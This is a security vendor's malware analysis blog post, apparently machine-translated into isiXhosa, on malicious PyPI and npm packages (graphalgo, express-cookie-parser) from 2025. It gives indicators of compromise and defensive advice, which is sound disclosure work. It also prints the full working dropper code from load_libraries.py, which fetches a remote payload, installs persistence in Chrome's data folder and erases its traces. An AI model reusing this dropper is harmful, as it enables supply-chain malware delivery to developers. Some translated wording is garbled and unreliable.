Uhlaselo lweTyathanga lokuNikezela ngeSoftware ngo-2025 - iipakeji ezinobubi - iipakeji zePython ezinobubi - iipakeji zeNpm ezinobubi

Ukujonga Ngokusondeleyo Uhlaselo lweSoftware Supply Chain 2025: Iiphulo zePyPI kunye ne-npm zithelekiswa

Kutshanje iXygeni ibone indlela exhalabisayo yokuhlaselwa kweenkqubo zobonelelo lwesoftware ngo-2025., kuvela kubaphathi ababini beephakheji abadumileyo: I-PyPI kwaye npmNjengenxalenye yemizamo yethu eqhubekayo yobukrelekrele bezoyikiso,Isilumkiso Sasekuqaleni Se-Malware yeXygeni (MEW) isixhobo sichonge umzekelo owahlukileyo kodwa ofana ngendlela yenkqubo wephakheji enobungozi elayishwe kwenye irejista ngaphambili. Eli tyala ligxininisa indlela abenzi bezoyikiso abatshintsha ngayo kwaye basebenzisa kwakhona iindlela zokuhlasela kuzo zonke iinkqubo zendalo, ingakumbi ngokusebenzisa iiphakheji zePython ezinobungozi kwaye iipakethe ze-npm ezinobungozi, nto leyo eyandisa umngcipheko wokuba iipakethe ezinobungozi zingene kwiindlela zokubonelela ngemithombo evulekileyo.

I-MEW kaXygeni: Ukubona ukufana

Isixhobo se-MEW sikaXygeni senzelwe ukubona nokubeka uphawu kwiipakethe ezinobungozi, ingakumbi ezo zidibene neSoftware Supply Chain Attacks ngo-2025, kwangoko nje ukuba zipapashwe kwiirejista ezivulelekileyo. Sisebenza ngokuhlalutya iipakethe ezintsha ukuze kubonwe indlela yokuziphatha ekrokrisayo.

Kulo mzekelo, ichonge ezimbini iiphakheji zePython ezinobungozi (graphalgo kwiPyPI) kunye iipakethe ze-npm ezinobungozi (express-cookie-parser ngo-npm).

Iiphakheji zePython ezinobungozi kunye ne-npm kwi-Software Supply Chain Attacks (2025)

Makhe sihlolisise iimpawu ezabelwana ngazo ezibangele izilumkiso zethu:

Ukuchwetheza

Bobabini bazama ukuzenza iipakeji ezidumileyo ezikhoyo.

  • igrafu (i-PyPI): "UIphakheji yePython yokwenza nokulawula iigrafu kunye neenethiwekhi."Ilayishwe ngumsebenzisi ogama lakhe lingu "i-larrytech" Ngomhla we-13 kweyeSilimela, ngo-2025, le phakheji yazibonakalisa njengendlela yePyPi eyahlukileyo kwiprojekthi yokuqala yegraphalgo engeyiyo eyonakeleyo, eyathi kamva yabizwa ngokuba yigraphdict.
  • i-express-cookie-parser (npm): Le phakheji ilingise iphakheji eyaziwayo ye-cookie-parser, ide ibonise neyayo I-README.md. Ukuzenza umntu ongenguye yindlela eqhelekileyo yokusebenzisa ukuthembana okukhoyo.

Ukungacaci njengoMgca wokuQala woKhuselo

Zombini iipakeji zifihle ikhowudi yazo embi ngaphakathi kweefayile zokuqala. igrafu, ikhowudi efihliweyo ifunyenwe ngaphakathi /utils/load_libraries.py. Kwindaba ye i-express-cookie-parser, cookie-loader.min.js yayinomthwalo ofihliweyo.

Olu maleko lokuqala lokungafihli ludla ngokusetyenziselwa ukuthintela ukuhlolwa okungacwangciswanga kunye nohlalutyo olungaguqukiyo. Ukungafihli kwakulula kakhulu: ukucinezelwa okuphindaphindiweyo kwe-ZLib kunye ne-Base64 encoding. Olu hlobo lokungafihli lubonisa ngokucacileyo ukuba isoftware izama ukufihla indlela esebenza ngayo. Kunye nobunye ubungqina, oku kuvumele i-Xygeni MEW ukuba ihlele iipakethe njenge-malware enokubakho. Ngexesha lesigaba sokuqinisekisa, abahlaziyi bethu balungiselela ngokukhawuleza iskripthi sokungafihlisi esatyhila isigaba sokuhlahlela esinobubi.

Ukuhanjiswa kwemithwalo yemithwalo emininzi kunye nendawo yokwahlulwa kwemvelaphi

Zombini iipakeji zisebenze njenge "yokuqala"iidropha,” bebeka isiseko somthwalo wokwenene. Babenesimo sengqondo esifanayo sangaphandle “imbewu"I-URL yefayile:
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example

Le fayile yembewu yangaphandle efanayo iluphawu oluqinileyo lomdlali wezoyikiso odibeneyo. Okunomdla kukuba, umxholo wale fayile yembewu ubonakala ngathi ziinguqu ezilula zendalo (umz., JWT_SECRET, PORT), ezinokulahlekisa uhlolo lomsebenzi wayo wokwenyani.

Isisombululo seDynamic C2 esineDGA

Icebo elinobuchule elibonwe kwezi pakethe zinobungozi kukusebenzisa i-Domain Generation Algorithm (DGA) ukusombulula iseva ye-Command and Control (C2) ngendlela eguquguqukayo. Le ndlela, edla ngokubonwa kuhlaselo lwe-software supply chain ngo-2025, ixhomekeke kwi-SHA256 hash efunyenwe kumxholo wefayile yembewu, idityaniswe nezinye ixabiso eziqinileyo. Ngokwenza njalo, iziseko ze-C2 zitshintsha rhoqo, nto leyo eyenza ukuhluzwa kwemveli kungasebenzi kakuhle. Kule meko, i-npm variant isebenzise ixabiso elimiselweyo le 496AAC7E njengenxalenye yengqiqo yayo ye-DGA.

Ukuseka Ukuzingisa

Bobabini abahlaseli bafuna ukuseka ubukho obuhlala buhleli kwiinkqubo ezichaphazelekayo. Icebo labo laliquka ukuphosa ifayile, startup.py (yePyPi) okanye startup.js (ye-npm), kwiinkcukacha eziqhelekileyo zedatha yomsebenzisi yeGoogle Chrome kwiinkqubo ezahlukeneyo zokusebenza (iiWindows, iiLinux, iiMacOS).

Ukucocwa Emva kokwenziwa

Ukuze kuncitshiswe ukushiyeka, zombini izikripthi ezinobungozi zenze imisebenzi yokucoca. Oku kuquka ukucima iifayile zazo zokuqala ze-dropper (load_libraries.py, cookie-loader.min.jskunye nokulungisa iifayile zephakheji ezisemthethweni (__init__.py, index.js) ukususa iireferensi kwizinto ezicinyiweyo ngoku.

Iimpawu zokuNciphisa kwiPakeji zePython ezinobungozi kunye ne-npm

  • Iphakheji yePyPI: i-graphalgo (epapashwe yi-larrytech, nge-13 kaJuni 2025)
  • Iphakheji ye-npm: express-cookie-parser (ingakumbi inguqulelo 1.4.12)
  • Ukufikelela kwi-URL yeMbewu ekwabelwana ngayo

https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example

  • Amagama eefayile aqhubekayo: startup.py (Python) startup.js (IJavaScript)
  • Iindlela Eziqhelekileyo Eziqhubekayo (ezixhomekeke kwi-OS): Ngaphakathi kwiincwadi zedatha yomsebenzisi zeGoogle Chrome (umz., AppData\Local\Google\Chrome\UserData\Scripts\ kwiWindows, ~/.config/google-chrome/Scripts/ kwiLinux, njl.njl.).

Indlela Yokuzikhusela Kwiipakeji Ezinobungozi Kuhlaselo LweeNkqubo Zobonelelo lweSoftware ngo-2025

Indlela Ecetyiswayo Yabaphuhlisi

Esi siganeko sisebenza njengesifundo esibalulekileyo kwimeko eguqukayo yosongelo lokuhlaselwa kweenkqubo zesoftware ngo-2025. Sigxininisa indlela iipakethe zePython ezinobubi kunye neepakethe ze-npm ezinobubi ezinokungena ngayo kwiindawo ezithembekileyo, zihlala ziphepha ukubhaqwa kude kube sebusuku kakhulu. Yiyo loo nto ukubhaqwa kwangethuba, izixhobo ezikrelekrele, kunye nococeko lwenkqubo olusebenzayo ngoku ziyinxalenye ebalulekileyo yayo nayiphi na indlela yokusebenza ekhuselekileyo yeDevOps. Abaphuhlisi bakhuthazwa ukuba baqwalasele oku kulandelayo:

Uhlolo lokuxhomekeka

Ukuba iiprojekthi zakho zibandakanyiwe igrafu or i-express-cookie-parser, kuya kuba bubulumko ukuqhubeka nokususwa kwabo.

  • Kwi-PyPI: pip uninstall graphalgo
  • Ngo-npm: npm uninstall express-cookie-parser

Ucoceko lweNkqubo

Cinga ngokwenza iskena senkqubo esibanzi. Kukwacetyiswa ukuba ujonge ngesandla iindlela eziqhelekileyo zedatha yomsebenzisi weChrome ukuze ubone naziphi na izinto ezingalindelekanga. startup.py or startup.js iifayile.

Imilinganiselo yoKhuseleko olusebenzayo

  • Vavanya ukuxhomekeka okutsha: Misela inkqubo yokuvavanya ngokupheleleyo iipakeji ezintsha ngaphambi kokuba uzidibanise, ugxile kwezo zivela kubapapashi abangazaziyo.
  • Hlanganisa Izixhobo zoKhuselekoIzixhobo ezifana ne-Xygeni's MEW, kunye nolunye uHlalutyo lweNkqubo yeSoftware (SCA) izisombululo, zinokubonelela ngomgangatho obalulekileyo wokuzikhusela ngokuchonga iindlela zokuziphatha ezikrokrisayo kunye nobuthathaka.
  • Ilungelo elincinane: Iindawo zophuhliso lokusebenza ezinomgaqo wokuba lilungelo elincinci zinokunceda ekunciphiseni impembelelo enokubakho yesivumelwano.
  • Ukwazisa NgenethiwekhiUkubeka esweni ithrafikhi yenethiwekhi ephumayo ukuze kubonakale unxibelelwano olungaqhelekanga ngamanye amaxesha kunokubonisa unxibelelwano lwe-C2 oluveliswa yi-DGA.

Amacandelo angundoqo we load_libraries.py (kwi-graphalgo)

import os
import sys
import subprocess
import base64
import hashlib
import time
from urllib.request import urlopen, Request

url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU="
remove_url = base64.b64decode(url_b64).decode()

python_path = sys.executable

def download_remote_content(url, output_path):
    try:
        req = Request(url, headers={"User-Agent": "Mozilla/5.0"})
        with urlopen(req) as response, open(output_path, "wb") as out_file:
            if response.status != 200:
                print(f"Failed to download the file. Status code: {response.status}")
                return False
            data = response.read()
            out_file.write(data)
        return True
    except Exception as e:
        print(f"Download failed: {e}")
        return False

def run_process(path_to_script, params=[]):
    if sys.platform.startswith("win"):
        creationflags = subprocess.CREATE_NO_WINDOW
        subprocess.Popen(
            [sys.executable, path_to_script, *params],
            creationflags=creationflags,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL
        )
    else:
        subprocess.Popen(
            [sys.executable, path_to_script, *params],
            start_new_session=True,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            close_fds=True
        )


def get_output_file_path():
    py_file_path = None

    home_dir = os.path.expanduser("~")
    platform = os.sys.platform

    if platform.startswith("win"):
        py_file_path = os.path.join(home_dir, "AppData", "Local", "Google", "Chrome", "User Data")
    elif platform.startswith("linux"):
        py_file_path = os.path.join(home_dir, ".config", "google-chrome")
    elif platform == "darwin":
        py_file_path = os.path.join(home_dir, "Library", "Application Support", "Google", "Chrome")

    if not os.path.exists(py_file_path):
        if platform.startswith("win"):
            py_file_path = os.path.join(home_dir, "AppData", "Local")
        elif platform.startswith("linux"):
            py_file_path = os.path.join(home_dir, ".config")
        elif platform == "darwin":
            py_file_path = os.path.join(home_dir, "Library", "Application Support")

    # Ensure base directory exists
    os.makedirs(py_file_path, exist_ok=True)

    script_path = os.path.join(py_file_path, "Scripts")
    os.makedirs(script_path, exist_ok=True)

    py_file_path = os.path.join(script_path, "startup.py")
    return py_file_path

def remove_self():
    # Remove this script file
    os.remove(__file__)

    # Remove \'graph_settings.py\' in the same directory
    graph_settings_path = os.path.join(os.path.dirname(__file__), "graph_settings.py")
    if os.path.exists(graph_settings_path):
        os.remove(graph_settings_path)

    # Modify \'../classes/digraph.py\' if it exists
    graph_file_path = os.path.join(os.path.dirname(__file__), "..", "classes", "digraph.py")
    graph_file_path = os.path.abspath(graph_file_path)  # Normalize path

    init_file_path = os.path.join(os.path.dirname(__file__), "__init__.py")
    init_file_path = os.path.abspath(init_file_path) # Normalize path

    # replace content of the __init__.py file
    if os.path.exists(init_file_path):
        with open(init_file_path, \'r\', encoding=\'utf-8\') as file:
            file_content = file.read()

        updated_content = file_content \\
            .replace("from networkx.utils.graph_settings import *", "") \\
            .replace("from networkx.utils.load_libraries import *", "")

        with open(init_file_path, \'w\', encoding=\'utf-8\') as file:
            file.write(updated_content)        

    # replace content of the __init__.py file
    if os.path.exists(graph_file_path):
        with open(graph_file_path, \'r\', encoding=\'utf-8\') as file:
            file_content = file.read()

        updated_content = file_content \\
            .replace("nx.utils.graph_settings.init_graph(self.graph, attr)", "") \\

        with open(graph_file_path, \'w\', encoding=\'utf-8\') as file:
            file.write(updated_content)

def simple_shift_encrypt(text, password):
    key = int(hashlib.sha256(password).hexdigest(), 16)
    encrypted_bytes = bytes([(ord(char) + (key % 256)) % 256 for char in text])

    return base64.encode(encrypted_bytes).decode()

def simple_shift_decrypt(encoded_text, password):
    key = int(hashlib.sha256(password).hexdigest(), 16)
    encrypted_bytes = base64.b64decode(encoded_text)
    decrypted = \'\'.join([chr((b - (key % 256)) % 256) for b in encrypted_bytes])

    return decrypted

def load_libraries(key):
    max_retry_count = 3
    output_file_path = get_output_file_path()
    encoded = "6PT08PO6r6/j7+Tl8O/v7K7j7O/15K/w9eLs6eOv8/Th8vT18K7w+b/25fK9sa6ypvT58OW97e/k9ezl"

    for _ in range(max_retry_count):
        if not download_remote_content(remove_url, output_file_path):
            time.sleep(2)
            continue

        download_url = ""
        with open(output_file_path, "rb") as f:
            file_content = f.read()
            sha256_hash = hashlib.sha256()
            sha256_hash.update(file_content + key.encode())
            password = sha256_hash.digest()

            download_url = simple_shift_decrypt(encoded, password)
       
        if not download_url or not download_remote_content(download_url, output_file_path):
            time.sleep(2)
            continue

        os.chmod(output_file_path, 0o755)
        run_process(output_file_path)

        time.sleep(1)
        remove_self()
        break

if __name__ == "__main__":
    if len(sys.argv) >= 2:
        load_libraries(sys.argv[1])

  • download_remote_content(): Iphatha ukulanda iifayile kwii-URL ezithile.
  • run_process(): Isebenzisa izikripthi zePython zangaphandle ngendlela eyahlukileyo, icinezela iziphumo ukuze zihlale ziyimfihlo.
  • get_output_file_path(): Imisela indawo efanelekileyo yenkqubo yefayile ye-startup.py eqhubekayo.
  • remove_self(): Iququzelela ukucocwa emva kokuphunyezwa kweefayile zokuqala ezinobungozi kunye nokuguqulwa kweephakheji.
  • simple_shift_encrypt() / simple_shift_decrypt()Imisebenzi ye-cryptographic eyenzelwe wena yokufihla iindlela zonxibelelwano, ebalulekileyo ekuphunyezweni kwe-DGA.
  • load_libraries(): Umsebenzi ophambili oququzelela yonke inkqubo enamanqanaba amaninzi, ukusuka ekukhutshelweni kokuqala ukuya ekuphunyezweni komthwalo wokugqibela kunye nokucoca.

Emva

Njengakwezinye iipakethe ezinokuba nobungozi ezichongiwe yi-MEW, i-dependence firewall ikhusele ngoko nangoko abasebenzisi ababeza kufaka ezi pakethe zinobungozi kwiindlela abazisebenzisayo. Emva kokuqinisekiswa, silandele iinkqubo zesaziso kuzo zombini iirejistri, ezathi emva kokuhlolwa zasusa zombini iipakethe.

izixhobo-zohlalutyo-lwesoftware-yokwakhiwa kwesoftware
Beka phambili, ulungise, kwaye ukhusele iingozi zesoftware yakho
Fumana iAkhawunti yakho yasimahla.
Akukho khadi lekhredithi elifunekayo.

Khusela uPhuhliso lweSoftware yakho kunye nokuHanjiswa kwayo

kunye neXygeni Product Suite